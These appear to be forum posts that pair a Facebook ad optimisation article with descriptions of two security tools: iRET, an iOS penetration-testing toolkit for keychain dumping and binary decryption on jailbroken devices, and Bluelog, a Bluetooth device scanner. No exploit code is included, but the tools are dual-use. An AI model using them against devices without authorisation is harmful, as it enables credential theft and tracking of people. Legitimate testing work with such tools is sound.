Am vazut ca sunt destui membrii RST care vor sa stie cat mai multe despre facebook ads, cum sa creezi o campanie eficienta fara sa platesti multi $. Am gasit acest articol destul de interesant, sper sa va fie de folos: Are Facebook ads working for you? Are you looking to get a better return on your Facebook ad investment? To get the best performance from ads, you need to make sure they reach the right audience. In this article you’ll find 15 ways to set up and optimize your Facebook ads. #1: Keep Mobile and Desktop Ads Separate Use separate ad sets for mobile and desktop so you can optimize your ads, bids and conversions based on device. Ads and calls to action are likely to perform differently on desktop versus mobile, and any ad setup should take that into account. If you’re using Power Editor, you can select the device targeting directly from the Ad Set menu. #2: Optimize Desktop News Feed and Right-Column Ads Separately One of the best practices in marketing is to set up highly segmented ads. Separating desktop news feed and right-column ads is necessary for optimizing campaigns by device, placement and any other targeting option. MORE: 15 Ways to Optimize Your Facebook Ads | Social Media Examiner

The iOS Reverse Engineering Toolkit is a toolkit designed to automate many of the common tasks associated with iOS penetration testing. It automates a many common tasks including: binary analysis using otool keychain analysis using keychain_dumper reading database content using sqlite reading log and plist files binary decryption using dumpdecrypted dumping binary headers using class_dump_z creating, editing, installing theos tweaks Installation: You can download the files and build the debian package yourself or you can simply install the iRET.deb package onto any jailbroken device using dpkg -i on the command line or by using iFile, which is available from Cydia. After it is installed, respring the device and you should see a new "iRET" icon on the device. Usage: Must be connected to a wireless network. Launch the application, click the "Start" button. It will then show the ip address and port number you should navigate to on your computer (computer must be connected to same wireless network as device). On first run, it will take a bit of time for the iRET tool to identify all of the required tools. Dependencies: The following apps are required to be installed on the device (in addition to the tools required on the main page) Python (2.5.1 or 2.7) (Need to be Cydia ‘Developer’) coreutils Erica Utilities file adv-cmds Bourne-Again Shell iOS Toolchain (coolstar version) Darwin CC Tools (coolstar version) An iOS SDK (presumably iOS 6.1 or 7.x) installed to $THEOS/sdks Landing Page: Functionality Tabs: Issue of keeping a selected file in the dropdown, when the name contains a space in it. Download: https://github.com/S3Jensen/iRET

Bluelog is a Bluetooth scanner/logger written with speed in mind. It is intended to be used as a site survey tool, concerned more about accurately detecting the number of discoverable Bluetooth devices than individual device specifics. Bluelog also includes the unique "Bluelog Live" mode, which puts discovered devices into a constantly updating live webpage which you can serve up with your HTTP daemon of choice. http://dl.packetstormsecurity.net/wireless/bluelog-1.0.0.tar.gz